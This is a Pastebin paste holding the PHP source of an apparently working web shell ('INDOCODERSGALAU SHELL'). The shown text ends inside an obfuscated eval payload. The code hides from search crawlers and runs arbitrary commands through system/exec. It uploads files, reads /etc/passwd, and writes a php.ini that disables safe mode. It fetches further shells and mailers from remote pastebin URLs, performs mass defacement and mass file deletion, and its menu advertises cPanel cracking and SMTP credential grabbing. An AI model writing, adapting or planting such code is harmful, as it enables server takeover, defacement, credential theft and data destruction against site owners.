API tools faq
paste
t4mv4n_cy3b3r

Untitled

t4mv4n_cy3b3r
May 25th, 2017
183
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 119.97 KB | None | 0 0
raw download clone embed print report
  1. <?php
  2. session_start();
  3. error_reporting(0);
  4. set_time_limit(0);
  5. @set_magic_quotes_runtime(0);
  6. @clearstatcache();
  7. @ini_set('error_log',NULL);
  8. @ini_set('log_errors',0);
  9. @ini_set('max_execution_time',0);
  10. @ini_set('output_buffering',0);
  11. @ini_set('display_errors', 0);
  12.  
  13. $auth_pass = "d08faa742b3d770dace8eb4023625ec1"; // default: rifkiganss
  14. $color = "#00ff00";
  15. $default_action = 'FilesMan';
  16. $default_use_ajax = true;
  17. $default_charset = 'UTF-8';
  18. if(!empty($_SERVER['HTTP_USER_AGENT'])) {
  19. $userAgents = array("Googlebot", "Slurp", "MSNBot", "PycURL", "facebookexternalhit",
  20.  
  21. "ia_archiver", "crawler", "Yandex", "Rambler", "Yahoo! Slurp", "YahooSeeker", "bingbot");
  22. if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
  23. header('HTTP/1.0 404 Not Found');
  24. exit;
  25. }
  26. }
  27.  
  28. function login_shell() {
  29. ?>
  30. <html>
  31. <head>
  32. <title>Security Ghost V.1.2</title>
  33. <style type="text/css">
  34. html {
  35. margin: 20px auto;
  36. background: #000000;
  37. color: green;
  38. text-align: center;
  39. }
  40. header {
  41. color: green;
  42. margin: 10px auto;
  43. }
  44. input[type=password] {
  45. width: 250px;
  46. height: 25px;
  47. color: red;
  48. background: #000000;
  49. border: 1px dotted green;
  50. padding: 5px;
  51. margin-left: 20px;
  52. text-align: center;
  53. }
  54. </style>
  55. </head>
  56. <center>
  57. <header>
  58. <img
  59.  
  60. src="https://2.bp.blogspot.com/-AzUMzZTWLrA/WRGsv6PZKuI/AAAAAAAAADE/_JTyujWTzQ8Rk8KqJLqKNvXu
  61.  
  62. kfGxFUCKACLcB/s1600/1960602-Secghost.png"/>
  63. <br>
  64. <br>
  65. <form method="post">
  66. <input type="password" name="pass">
  67. </form>
  68. <?php
  69. exit;
  70. }
  71. if(!isset($_SESSION[md5($_SERVER['HTTP_HOST'])]))
  72. if( empty($auth_pass) || ( isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass)
  73.  
  74. ) )
  75. $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
  76. else
  77. login_shell();
  78. if(isset($_GET['file']) && ($_GET['file'] != '') && ($_GET['act'] == 'download')) {
  79. @ob_clean();
  80. $file = $_GET['file'];
  81. header('Content-Description: File Transfer');
  82. header('Content-Type: application/octet-stream');
  83. header('Content-Disposition: attachment; filename="'.basename($file).'"');
  84. header('Expires: 0');
  85. header('Cache-Control: must-revalidate');
  86. header('Pragma: public');
  87. header('Content-Length: ' . filesize($file));
  88. readfile($file);
  89. exit;
  90. }
  91. ?>
  92. <html>
  93. <head>
  94. <center>
  95. <title> !!INDOCODERSGALAU SHELL!!</title>
  96. <meta name='author' content='ICG SHELL!!'>
  97. <meta charset="UTF-8">
  98. <center><style type='text/css'>
  99. @import url(https://fonts.googleapis.com/css?family=Ubuntu);
  100. html {
  101. background:
  102.  
  103. url('https://scontent-sit4-1.xx.fbcdn.net/v/t1.0-9/13906851_1576546539307069_255839332825797
  104.  
  105. 9256_n.jpg?oh=f79bdaa753c86b509cd445e214090e76&oe=596B65FD');
  106. color: #ffffff;
  107. font-family: 'abel';
  108. font-size: 13px;
  109. width: 100%;
  110. }
  111. li {
  112. display: inline;
  113. margin: 5px;
  114. padding: 5px;
  115. }
  116. table, th, td {
  117. border-collapse:collapse;
  118. font-family: Tahoma, Geneva, sans-serif;
  119. background: transparent;
  120. font-family: 'abel';
  121. font-size: 13px;
  122. }
  123. .table_home, .th_home, .td_home {
  124. border: 1px solid #ffffff;
  125. }
  126. th {
  127. padding: 10px;
  128. }
  129. a {
  130. color: #ffffff;
  131. text-decoration: none;
  132. }
  133. a:hover {
  134. color: gold;
  135. text-decoration: underline;
  136. }
  137. b {
  138. color: gold;
  139. }
  140. input[type=text], input[type=password],input[type=submit] {
  141. background: transparent;
  142. color: #ffffff;
  143. border: 1px solid #ffffff;
  144. margin: 5px auto;
  145. padding-left: 5px;
  146. font-family: 'abel';
  147. font-size: 13px;
  148. }
  149. textarea {
  150. border: 1px solid #ffffff;
  151. width: 100%;
  152. height: 400px;
  153. padding-left: 5px;
  154. margin: 10px auto;
  155. resize: none;
  156. background: transparent;
  157. color: #ffffff;
  158. font-family: 'abel';
  159. font-size: 13px;
  160. }
  161. select {
  162. width: 152px;
  163. background: #000000;
  164. color: cyan;
  165. border: 1px solid #ffffff;
  166. margin: 5px auto;
  167. padding-left: 5px;
  168. font-family: 'abel';
  169. font-size: 13px;
  170. }
  171. option:hover {
  172. background: cyan;
  173. color: #000000;
  174. }
  175. </style>
  176. </head>
  177. <center>
  178. <?php
  179. if (file_exists("php.ini")){
  180. }else{
  181. $img = fopen('php.ini', 'w');
  182. $sec = "safe_mode = OFF
  183. disable_funtions = NONE";
  184. fwrite($img ,$sec);
  185. fclose($img);}
  186. function w($dir,$perm) {
  187. if(!is_writable($dir)) {
  188. return "<font color=red>".$perm."</font>";
  189. } else {
  190. return "<font color=lime>".$perm."</font>";
  191. }
  192. }
  193. function exe($cmd) {
  194. if(function_exists('system')) {
  195. @ob_start();
  196. @system($cmd);
  197. $buff = @ob_get_contents();
  198. @ob_end_clean();
  199. return $buff;
  200. } elseif(function_exists('exec')) {
  201. @exec($cmd,$results);
  202. $buff = "";
  203. foreach($results as $result) {
  204. $buff .= $result;
  205. } return $buff;
  206. } elseif(function_exists('passthru')) {
  207. @ob_start();
  208. @passthru($cmd);
  209. $buff = @ob_get_contents();
  210. @ob_end_clean();
  211. return $buff;
  212. } elseif(function_exists('shell_exec')) {
  213. $buff = @shell_exec($cmd);
  214. return $buff;
  215. }
  216. }
  217. function perms($file){
  218. $perms = fileperms($file);
  219. if (($perms & 0xC000) == 0xC000) {
  220. $info = 's';
  221. } elseif (($perms & 0xA000) == 0xA000) {
  222. $info = 'l';
  223. } elseif (($perms & 0x8000) == 0x8000) {
  224. $info = '-';
  225. } elseif (($perms & 0x6000) == 0x6000) {
  226. $info = 'b';
  227. } elseif (($perms & 0x4000) == 0x4000) {
  228. $info = 'd';
  229. } elseif (($perms & 0x2000) == 0x2000) {
  230. $info = 'c';
  231. } elseif (($perms & 0x1000) == 0x1000) {
  232. $info = 'p';
  233. } else {
  234. $info = 'u';
  235. }
  236. $info .= (($perms & 0x0100) ? 'r' : '-');
  237. $info .= (($perms & 0x0080) ? 'w' : '-');
  238. $info .= (($perms & 0x0040) ?
  239. (($perms & 0x0800) ? 's' : 'x' ) :
  240. (($perms & 0x0800) ? 'S' : '-'));
  241. $info .= (($perms & 0x0020) ? 'r' : '-');
  242. $info .= (($perms & 0x0010) ? 'w' : '-');
  243. $info .= (($perms & 0x0008) ?
  244. (($perms & 0x0400) ? 's' : 'x' ) :
  245. (($perms & 0x0400) ? 'S' : '-'));
  246. $info .= (($perms & 0x0004) ? 'r' : '-');
  247. $info .= (($perms & 0x0002) ? 'w' : '-');
  248. $info .= (($perms & 0x0001) ?
  249. (($perms & 0x0200) ? 't' : 'x' ) :
  250. (($perms & 0x0200) ? 'T' : '-'));
  251. return $info;
  252. }
  253. function hdd($s) {
  254. if($s >= 1073741824)
  255. return sprintf('%1.2f',$s / 1073741824 ).' GB';
  256. elseif($s >= 1048576)
  257. return sprintf('%1.2f',$s / 1048576 ) .' MB';
  258. elseif($s >= 1024)
  259. return sprintf('%1.2f',$s / 1024 ) .' KB';
  260. else
  261. return $s .' B';
  262. }
  263. function ambilKata($param, $kata1, $kata2){
  264. if(strpos($param, $kata1) === FALSE) return FALSE;
  265. if(strpos($param, $kata2) === FALSE) return FALSE;
  266. $start = strpos($param, $kata1) + strlen($kata1);
  267. $end = strpos($param, $kata2, $start);
  268. $return = substr($param, $start, $end - $start);
  269. return $return;
  270. }
  271. if(get_magic_quotes_gpc()) {
  272. function idx_ss($array) {
  273. return is_array($array) ? array_map('idx_ss', $array) :
  274.  
  275. stripslashes($array);
  276. }
  277. $_POST = idx_ss($_POST);
  278. }
  279. function CreateTools($names,$lokasi){
  280. if ( $_GET['create'] == $names ){
  281. $a= "".$_SERVER['SERVER_NAME']."";
  282. $b= dirname($_SERVER['PHP_SELF']);
  283. $c = "/cox_tools/".$names.".php";
  284. if (file_exists('cox_tools/'.$names.'.php')){
  285. echo '<script type="text/javascript">alert("Done");window.location.href =
  286.  
  287. "cox_tools/'.$names.'.php";</script> ';
  288. }
  289. else {mkdir("cox_tools", 0777);
  290. file_put_contents('cox_tools/'.$names.'.php', file_get_contents($lokasi));
  291. echo ' <script type="text/javascript">alert("Done");window.location.href =
  292.  
  293. "cox_tools/'.$names.'.php";</script> ';}}}
  294.  
  295. CreateTools("wso","http://pastebin.com/raw/3eh3Gej2");
  296. CreateTools("adminer"."https://www.adminer.org/static/download/4.2.5/adminer-4.2.5.php");
  297. CreateTools("b374k","http://pastebin.com/raw/rZiyaRGV");
  298. CreateTools("injection","http://pastebin.com/raw/nxxL8c1f");
  299. CreateTools("promailerv2","http://pastebin.com/raw/Rk9v6eSq");
  300. CreateTools("gamestopceker","http://pastebin.com/raw/QSnw1JXV");
  301. CreateTools("bukapalapak","http://pastebin.com/raw/6CB8krDi");
  302. CreateTools("tokopedia","http://pastebin.com/dvhzWgby");
  303. CreateTools("encodedecode","http://pastebin.com/raw/wqB3G5eZ");
  304. CreateTools("mailer","http://pastebin.com/raw/9yu1DmJj");
  305. CreateTools("r57","http://pastebin.com/raw/G2VEDunW");
  306. CreateTools("tokenpp","http://pastebin.com/raw/72xgmtPL");
  307. CreateTools("extractor","http://pastebin.com/raw/jQnMFHBL");
  308. CreateTools("bh","http://pastebin.com/raw/3L2ESWeu");
  309. CreateTools("dhanus","http://pastebin.com/raw/v4xGus6X");
  310. if(isset($_GET['dir'])) {
  311. $dir = $_GET['dir'];
  312. chdir($_GET['dir']);
  313. } else {
  314. $dir = getcwd();
  315. }
  316. $dir = str_replace("\\","/",$dir);
  317. $scdir = explode("/", $dir);
  318. $sm = (@ini_get(strtolower("safe_mode")) == 'on') ? "<font color=red>ON</font>" : "<font
  319.  
  320. color=lime>OFF</font>";
  321. $ling="http://".$_SERVER['SERVER_NAME']."".$_SERVER['PHP_SELF']."?create";
  322. $ds = @ini_get("disable_functions");
  323. $mysql = (function_exists('mysql_connect')) ? "<font color=lime>ON</font>" : "<font
  324.  
  325. color=red>OFF</font>";
  326. $curl = (function_exists('curl_version')) ? "<font color=lime>ON</font>" : "<font
  327.  
  328. color=red>OFF</font>";
  329. $wget = (exe('wget --help')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
  330. $perl = (exe('perl --help')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
  331. $python = (exe('python --help')) ? "<font color=lime>ON</font>" : "<font
  332.  
  333. color=red>OFF</font>";
  334. $show_ds = (!empty($ds)) ? "<font color=red>$ds</font>" : "<font color=lime>NONE</font>";
  335. if(!function_exists('posix_getegid')) {
  336. $user = @get_current_user();
  337. $uid = @getmyuid();
  338. $gid = @getmygid();
  339. $group = "?";
  340. } else {
  341. $uid = @posix_getpwuid(posix_geteuid());
  342. $gid = @posix_getgrgid(posix_getegid());
  343. $user = $uid['name'];
  344. $uid = $uid['uid'];
  345. $group = $gid['name'];
  346. $gid = $gid['gid'];
  347. }
  348. $d0mains = @file("/etc/named.conf");
  349. $users=@file('/etc/passwd');
  350. if($d0mains)
  351. {
  352. $count;
  353. foreach($d0mains as $d0main)
  354. {
  355. if(@ereg("zone",$d0main))
  356. {
  357. preg_match_all('#zone "(.*)"#', $d0main, $domains);
  358. flush();
  359. if(strlen(trim($domains[1][0])) > 2)
  360. {
  361. flush();
  362. $count++;
  363. }
  364. }
  365. }
  366. }
  367.  
  368. $sport=$_SERVER['SERVER_PORT'];
  369. echo "<table style='width:100%'>";
  370. echo "<tr><td>System: <font color=lime>".php_uname()."</font></td></tr>";
  371. echo "<tr><td>User: <font color=lime>".$user."</font> (".$uid.") Group: <font
  372.  
  373. color=lime>".$group."</font> (".$gid.")</td></tr>";
  374. echo "<tr><td>Server IP: <font color=lime>".gethostbyname($_SERVER['HTTP_HOST'])."</font> |
  375.  
  376. Your IP: <font color=lime>".$_SERVER['REMOTE_ADDR']."</font></td></tr>";
  377. echo "<tr><td>HDD: <font color=lime>".hdd(disk_free_space("/"))."</font> / <font
  378.  
  379. color=lime>".hdd(disk_total_space("/"))."</font></td></tr>";
  380. echo "<tr><td>Websites :<font color=lime> $count </font> Domains</td></tr>";
  381. echo "<tr><td>Port :<font color=lime> $sport</font> </td></tr>";
  382. echo "<tr><td>Safe Mode: $sm</td></tr>";
  383. echo "<tr><td>Disable Functions: $show_ds</td></tr>";
  384. echo "<tr><td>MySQL: $mysql | Perl: $perl | Python: $python | WGET: $wget | CURL: $curl
  385.  
  386. </td></tr>";
  387. echo "<tr><td>Current DIR: ";
  388. foreach($scdir as $c_dir => $cdir) {
  389. echo "<a href='?dir=";
  390. for($i = 0; $i <= $c_dir; $i++) {
  391. echo $scdir[$i];
  392. if($i != $c_dir) {
  393. echo "/";
  394. }
  395. }
  396. echo "'>$cdir</a>/";
  397. }
  398. echo "</td></tr></table><hr>";
  399. echo "<center>";
  400. echo "<ul>";
  401. echo "<li>[ <a href='?'>Home</a> ]</li>";
  402. echo "<li>[ <a href='?dir=$dir&do=upload'>Upload</a> ]</li>";
  403. echo "<li>[ <a href='?dir=$dir&do=cmd'>Command</a> ]</li>";
  404. echo "<li>[ <a href='?dir=$dir&do=mass_deface'>Mass Deface</a> ]</li>";
  405. echo "<li>[ <a href='?dir=$dir&do=config'>Config</a> ]</li>";
  406. echo "<li>[ <a href='?dir=$dir&do=lcf'>LiteSpeed Config</a> ]</li>";
  407. echo "<li>[ <a href='?dir=$dir&do=jumping'>Jumping</a> ]</li>";
  408. echo "<li>[ <a href='?dir=$dir&do=symlink'>Symlink</a> ]<br></li>";
  409. echo "<li>[ <a href='?dir=$dir&do=cpanel'>CPanel Crack</a> ]</li>";
  410. echo "<li>[ <a href='?dir=$dir&do=smtp'>SMTP Grabber</a> ]</li>";
  411. echo "<li>[ <a href='?dir=$dir&do=zoneh'>Zone-H</a> ]</li>";
  412. echo "<li>[ <a href='?dir=$dir&do=defacerid'>Defacer.ID</a> ]</li>";
  413. echo "<li>[ <a href='?dir=$dir&do=cgi'>CGI Telnet</a> ]</li><br>";
  414. echo "<li>[ <a href='?dir=$dir&do=adminer'>Adminer</a> ]</li>";
  415. echo "<li>[ <a href='?dir=$dir&do=fake_root'>Fake Root</a> ]</li>";
  416. echo "<li>[ <a href='?dir=$dir&do=auto_edit_user'>Auto Edit User</a> ]</li>";
  417. echo "<li>[ <a href='?dir=$dir&do=auto_wp'>Auto Edit Title WordPress</a> ]</li>";
  418. echo "<li>[ <a href='?dir=$dir&do=auto_dwp'>WordPress Auto Deface</a> ]</li>";
  419. echo "<li>[ <a href='?dir=$dir&do=auto_dwp2'>WordPress Auto Deface V.2</a> ]</li>";
  420. echo "<li>[ <a href='?dir=$dir&do=passwbypass'>Bypass etc/passw</a> ]<br></li>";
  421. echo "<li>[ <a href='?dir=$dir&do=loghunter'>Log Hunter</a> ]</li>";
  422. echo "<li>[ <a href='?dir=$dir&do=shellchk'>Shell Checker</a> ]</li>";
  423. echo "<li>[ <a href='?dir=$dir&do=shelscan'>Shell Finder</a> ]</li>";
  424. echo "<li>[ <a href='?dir=$dir&do=zip'>Zip Menu</a> ]</li>";
  425. echo "<li>[ <a href='?dir=$dir&do=about'>About</a> ]</li>";
  426. echo "<li>[ <a href='?dir=$dir&do=metu'>LogOut</a> ]<br></li>";
  427. echo "</ul>";
  428. echo "</center>";
  429. echo "<hr>";
  430. if($_GET['do'] == 'upload') {
  431. echo "<center>";
  432. if($_POST['upload']) {
  433. if(@copy($_FILES['ix_file']['tmp_name'],
  434.  
  435. "$dir/".$_FILES['ix_file']['name']."")) {
  436. $act = "<font color=lime>Uploaded!</font> at
  437.  
  438. <i><b>$dir/".$_FILES['ix_file']['name']."</b></i>";
  439. } else {
  440. $act = "<font color=red>failed to upload file</font>";
  441. }
  442. }
  443. echo "Upload File: [ ".w($dir,"Writeable")." ]<form method='post'
  444.  
  445. enctype='multipart/form-data'><input type='file' name='ix_file'><input type='submit'
  446.  
  447. value='upload' name='upload'></form>";
  448. echo $act;
  449. echo "</center>";
  450. }
  451. elseif($_GET['do'] == 'cmd') {
  452. echo "<form method='post'>
  453. <font style='text-decoration:
  454.  
  455. underline;'>".$user."@".gethostbyname($_SERVER['HTTP_HOST']).":~# </font>
  456. <input type='text' size='30' height='10' name='cmd'><input type='submit'
  457.  
  458. name='do_cmd' value='>>'>
  459. </form>";
  460. if($_POST['do_cmd']) {
  461. echo "<pre>".exe($_POST['cmd'])."</pre>";
  462. }
  463. } elseif($_GET['do'] == 'mass_deface') {
  464. echo "<center><form action=\"\" method=\"post\">\n";
  465. $dirr=$_POST['d_dir'];
  466. $index = $_POST["script"];
  467. $index = str_replace('"',"'",$index);
  468. $index = stripslashes($index);
  469. function edit_file($file,$index){
  470. if (is_writable($file)) {
  471. clear_fill($file,$index);
  472. echo "<Span style='color:green;'><strong> [+] Nyabun 100% Successfull
  473.  
  474. </strong></span><br></center>";
  475. }
  476. else {
  477. echo "<Span style='color:red;'><strong> [-] Ternyata Tidak Boleh
  478.  
  479. Menyabun Disini :( </strong></span><br></center>";
  480. }
  481. }
  482. function hapus_massal($dir,$namafile) {
  483. if(is_writable($dir)) {
  484. $dira = scandir($dir);
  485. foreach($dira as $dirb) {
  486. $dirc = "$dir/$dirb";
  487. $lokasi = $dirc.'/'.$namafile;
  488. if($dirb === '.') {
  489. if(file_exists("$dir/$namafile")) {
  490. unlink("$dir/$namafile");
  491. }
  492. } elseif($dirb === '..') {
  493. if(file_exists("".dirname($dir)."/$namafile")) {
  494. unlink("".dirname($dir)."/$namafile");
  495. }
  496. } else {
  497. if(is_dir($dirc)) {
  498. if(is_writable($dirc)) {
  499. if(file_exists($lokasi)) {
  500. echo "[<font
  501.  
  502. color=lime>DELETED</font>] $lokasi<br>";
  503. unlink($lokasi);
  504. $idx =
  505.  
  506. hapus_massal($dirc,$namafile);
  507. }
  508. }
  509. }
  510. }
  511. }
  512. }
  513. }
  514. function clear_fill($file,$index){
  515. if(file_exists($file)){
  516. $handle = fopen($file,'w');
  517. fwrite($handle,'');
  518. fwrite($handle,$index);
  519. fclose($handle); } }
  520.  
  521. function gass(){
  522. global $dirr , $index ;
  523. chdir($dirr);
  524. $me = str_replace(dirname(__FILE__).'/','',__FILE__);
  525. $files = scandir($dirr) ;
  526. $notallow =
  527.  
  528. array(".htaccess","error_log","_vti_inf.html","_private","_vti_bin","_vti_cnf","_vti_log","_
  529.  
  530. vti_pvt","_vti_txt","cgi-bin",".contactemail",".cpanel",".fantasticodata",".htpasswds",".las
  531.  
  532. tlogin","access-logs","cpbackup-exclude-used-by-backup.conf",".cgi_auth",".disk_usage",".sta
  533.  
  534. tspwd","..",".");
  535. sort($files);
  536. $n = 0 ;
  537. foreach ($files as $file){
  538. if ( $file != $me && is_dir($file) != 1 && !in_array($file,
  539.  
  540. $notallow) ) {
  541. echo "<center><Span style='color:
  542.  
  543. #8A8A8A;'><strong>$dirr/</span>$file</strong> ====> ";
  544. edit_file($file,$index);
  545. flush();
  546. $n = $n +1 ;
  547. }
  548. }
  549. echo "<br>";
  550. echo "<center><br><h3>$n Kali Anda Telah Ngecrot Disini
  551.  
  552. </h3></center><br>";
  553. }
  554. function ListFiles($dirrall) {
  555.  
  556. if($dh = opendir($dirrall)) {
  557.  
  558. $files = Array();
  559. $inner_files = Array();
  560. $me = str_replace(dirname(__FILE__).'/','',__FILE__);
  561. $notallow =
  562.  
  563. array($me,".htaccess","error_log","_vti_inf.html","_private","_vti_bin","_vti_cnf","_vti_log
  564.  
  565. ","_vti_pvt","_vti_txt","cgi-bin",".contactemail",".cpanel",".fantasticodata",".htpasswds","
  566.  
  567. .lastlogin","access-logs","cpbackup-exclude-used-by-backup.conf",".cgi_auth",".disk_usage","
  568.  
  569. .statspwd","Thumbs.db");
  570. while($file = readdir($dh)) {
  571. if($file != "." && $file != ".." && $file[0] != '.' && !in_array($file,
  572.  
  573. $notallow) ) {
  574. if(is_dir($dirrall . "/" . $file)) {
  575. $inner_files = ListFiles($dirrall . "/" . $file);
  576. if(is_array($inner_files)) $files = array_merge($files, $inner_files);
  577. } else {
  578. array_push($files, $dirrall . "/" . $file);
  579. }
  580. }
  581. }
  582.  
  583. closedir($dh);
  584. return $files;
  585. }
  586. }
  587. function gass_all(){
  588. global $index ;
  589. $dirrall=$_POST['d_dir'];
  590. foreach (ListFiles($dirrall) as $key=>$file){
  591. $file = str_replace('//',"/",$file);
  592. echo "<center><strong>$file</strong> ===>";
  593. edit_file($file,$index);
  594. flush();
  595. }
  596. $key = $key+1;
  597. echo "<center><br><h3>$key Kali Anda Telah Ngecrot Disini </h3></center><br>"; }
  598. function sabun_massal($dir,$namafile,$isi_script) {
  599. if(is_writable($dir)) {
  600. $dira = scandir($dir);
  601. foreach($dira as $dirb) {
  602. $dirc = "$dir/$dirb";
  603. $lokasi = $dirc.'/'.$namafile;
  604. if($dirb === '.') {
  605. file_put_contents($lokasi, $isi_script);
  606. } elseif($dirb === '..') {
  607. file_put_contents($lokasi, $isi_script);
  608. } else {
  609. if(is_dir($dirc)) {
  610. if(is_writable($dirc)) {
  611. echo "[<font color=lime>DONE</font>]
  612.  
  613. $lokasi<br>";
  614. file_put_contents($lokasi,
  615.  
  616. $isi_script);
  617. $idx =
  618.  
  619. sabun_massal($dirc,$namafile,$isi_script);
  620. }
  621. }
  622. }
  623. }
  624. }
  625. }
  626. if($_POST['mass'] == 'onedir') {
  627. echo "<br> Versi Text Area<br><textarea
  628.  
  629. style='background:black;outline:none;color:red;' name='index' rows='10' cols='67'>\n";
  630. $ini="http://";
  631. $mainpath=$_POST[d_dir];
  632. $file=$_POST[d_file];
  633. $dir=opendir("$mainpath");
  634. $code=base64_encode($_POST[script]);
  635. $indx=base64_decode($code);
  636. while($row=readdir($dir)){
  637. $start=@fopen("$row/$file","w+");
  638. $finish=@fwrite($start,$indx);
  639. if ($finish){
  640. echo"$ini$row/$file\n";
  641. }
  642. }
  643. echo "</textarea><br><br><br><b>Versi Text</b><br><br><br>\n";
  644. $mainpath=$_POST[d_dir];$file=$_POST[d_file];
  645. $dir=opendir("$mainpath");
  646. $code=base64_encode($_POST[script]);
  647. $indx=base64_decode($code);
  648. while($row=readdir($dir)){$start=@fopen("$row/$file","w+");
  649. $finish=@fwrite($start,$indx);
  650. if ($finish){echo '<a href="http://' . $row . '/' . $file . '"
  651.  
  652. target="_blank">http://' . $row . '/' . $file . '</a><br>'; }
  653. }
  654.  
  655. }
  656. elseif($_POST['mass'] == 'sabunkabeh') { gass(); }
  657. elseif($_POST['mass'] == 'hapusmassal') { hapus_massal($_POST['d_dir'],
  658.  
  659. $_POST['d_file']); }
  660. elseif($_POST['mass'] == 'sabunmematikan') { gass_all(); }
  661. elseif($_POST['mass'] == 'massdeface') {
  662. echo "<div style='margin: 5px auto; padding: 5px'>";
  663. sabun_massal($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
  664. echo "</div>"; }
  665. else {
  666. echo "
  667. <center><font style='text-decoration: underline;'>
  668. Select Type:<br>
  669. </font>
  670. <select class=\"select\" name=\"mass\" style=\"width: 450px;\"
  671.  
  672. height=\"10\">
  673. <option value=\"onedir\">Mass Deface 1 Dir</option>
  674. <option value=\"massdeface\">Mass Deface ALL Dir</option>
  675. <option value=\"sabunkabeh\">Sabun Massal Di Tempat</option>
  676. <option value=\"sabunmematikan\">Sabun Massal Bunuh Diri</option>
  677. <option value=\"hapusmassal\">Mass Delete
  678.  
  679. Files</option></center></select><br>
  680. <font style='text-decoration: underline;'>Folder:</font><br>
  681. <input type='text' name='d_dir' value='$dir' style='width: 450px;'
  682.  
  683. height='10'><br>
  684. <font style='text-decoration: underline;'>Filename:</font><br>
  685. <input type='text' name='d_file' value='69.php' style='width: 450px;'
  686.  
  687. height='10'><br>
  688. <font style='text-decoration: underline;'>Index File:</font><br>
  689. <textarea name='script' style='width: 450px; height: 200px;'>Hacked By
  690.  
  691. Achon666ju5t</textarea><br>
  692. <input type='submit' name='start' value='Mass Deface' style='width: 450px;'>
  693. </form></center>";
  694. }
  695. }
  696. elseif($_GET['do'] == 'zip') {
  697. echo "<center><h1>Zip Menu</h1>";
  698. function rmdir_recursive($dir) {
  699. foreach(scandir($dir) as $file) {
  700. if ('.' === $file || '..' === $file) continue;
  701. if (is_dir("$dir/$file")) rmdir_recursive("$dir/$file");
  702. else unlink("$dir/$file");
  703. }
  704. rmdir($dir);
  705. }
  706. if($_FILES["zip_file"]["name"]) {
  707. $filename = $_FILES["zip_file"]["name"];
  708. $source = $_FILES["zip_file"]["tmp_name"];
  709. $type = $_FILES["zip_file"]["type"];
  710. $name = explode(".", $filename);
  711. $accepted_types = array('application/zip', 'application/x-zip-compressed',
  712.  
  713. 'multipart/x-zip', 'application/x-compressed');
  714. foreach($accepted_types as $mime_type) {
  715. if($mime_type == $type) {
  716. $okay = true;
  717. break;
  718. }
  719. }
  720. $continue = strtolower($name[1]) == 'zip' ? true : false;
  721. if(!$continue) {
  722. $message = "Itu Bukan Zip , , GOBLOK COK";
  723. }
  724. $path = dirname(__FILE__).'/';
  725. $filenoext = basename ($filename, '.zip');
  726. $filenoext = basename ($filenoext, '.ZIP');
  727. $targetdir = $path . $filenoext;
  728. $targetzip = $path . $filename;
  729. if (is_dir($targetdir)) rmdir_recursive ( $targetdir);
  730. mkdir($targetdir, 0777);
  731. if(move_uploaded_file($source, $targetzip)) {
  732. $zip = new ZipArchive();
  733. $x = $zip->open($targetzip);
  734. if ($x === true) {
  735. $zip->extractTo($targetdir);
  736. $zip->close();
  737.  
  738. unlink($targetzip);
  739. }
  740. $message = "<b>Sukses Gan :)</b>";
  741. } else {
  742. $message = "<b>Error Gan :(</b>";
  743. }
  744. }
  745. echo '<table style="width:100%" border="1">
  746. <tr><td><h2>Upload And Unzip</h2><form enctype="multipart/form-data" method="post"
  747.  
  748. action="">
  749. <label>Zip File : <input type="file" name="zip_file" /></label>
  750. <input type="submit" name="submit" value="Upload And Unzip" />
  751. </form>';
  752. if($message) echo "<p>$message</p>";
  753. echo "</td><td><h2>Zip Backup</h2><form action='' method='post'><font
  754.  
  755. style='text-decoration: underline;'>Folder:</font><br><input type='text' name='dir'
  756.  
  757. value='$dir' style='width: 450px;' height='10'><br><font style='text-decoration:
  758.  
  759. underline;'>Save To:</font><br><input type='text' name='save' value='$dir/cox_backup.zip'
  760.  
  761. style='width: 450px;' height='10'><br><input type='submit' name='backup' value='BackUp!'
  762.  
  763. style='width: 215px;'></form>";
  764. if($_POST['backup']){
  765. $save=$_POST['save'];
  766. function Zip($source, $destination)
  767. {
  768. if (extension_loaded('zip') === true)
  769. {
  770. if (file_exists($source) === true)
  771. {
  772. $zip = new ZipArchive();
  773.  
  774. if ($zip->open($destination, ZIPARCHIVE::CREATE) === true)
  775. {
  776. $source = realpath($source);
  777.  
  778. if (is_dir($source) === true)
  779. {
  780. $files = new RecursiveIteratorIterator(new
  781.  
  782. RecursiveDirectoryIterator($source), RecursiveIteratorIterator::SELF_FIRST);
  783.  
  784. foreach ($files as $file)
  785. {
  786. $file = realpath($file);
  787.  
  788. if (is_dir($file) === true)
  789. {
  790. $zip->addEmptyDir(str_replace($source . '/', '', $file . '/'));
  791. }
  792.  
  793. else if (is_file($file) === true)
  794. {
  795. $zip->addFromString(str_replace($source . '/', '', $file),
  796.  
  797. file_get_contents($file));
  798. }
  799. }
  800. }
  801.  
  802. else if (is_file($source) === true)
  803. {
  804. $zip->addFromString(basename($source), file_get_contents($source));
  805. }
  806. }
  807.  
  808. return $zip->close();
  809. }
  810. }
  811.  
  812. return false;
  813. }
  814. Zip($_POST['dir'],$save);
  815. echo "Done , Save To <b>$save</b>";
  816. }
  817. echo "</td><td><h2>Unzip Manual</h2><form action='' method='post'><font
  818.  
  819. style='text-decoration: underline;'>Zip Location:</font><br><input type='text' name='dir'
  820.  
  821. value='$dir/file.zip' style='width: 450px;' height='10'><br><font style='text-decoration:
  822.  
  823. underline;'>Save To:</font><br><input type='text' name='save' value='$dir/cox_unzip'
  824.  
  825. style='width: 450px;' height='10'><br><input type='submit' name='extrak' value='Unzip!'
  826.  
  827. style='width: 215px;'></form>";
  828. if($_POST['extrak']){
  829. $save=$_POST['save'];
  830. $zip = new ZipArchive;
  831. $res = $zip->open($_POST['dir']);
  832. if ($res === TRUE) {
  833. $zip->extractTo($save);
  834. $zip->close();
  835. echo 'Succes , Location : <b>'.$save.'</b>';
  836. } else {
  837. echo 'Gagal Mas :( Ntahlah !';
  838. }
  839. }
  840. echo '</tr></table>';
  841. }
  842. elseif($_GET['do'] == 'shellchk') {
  843.  
  844.  
  845. eval(str_rot13(gzinflate(str_rot13(base64_decode(('vUddQtswFH1epf4HcCE1VUxbNvEwdSMGd9FeJtGhP
  846.  
  847. aygyLZ5B6jc5AaHORP/fdf5IoXxsBeiSbGdZu491z6+cTiA1GVPdCkwDTIaDnM5lyVupoT5Nc1ymWWmWpZdRm9FXWOGq
  848.  
  849. zguTlue4Utjpa+p53a411OCIcKZFCxqGVUES63F8XGSylAx3jr+oATX45SXE3LBubGwAsM16RLpY5Jlp+aHh1RR8jscW
  850.  
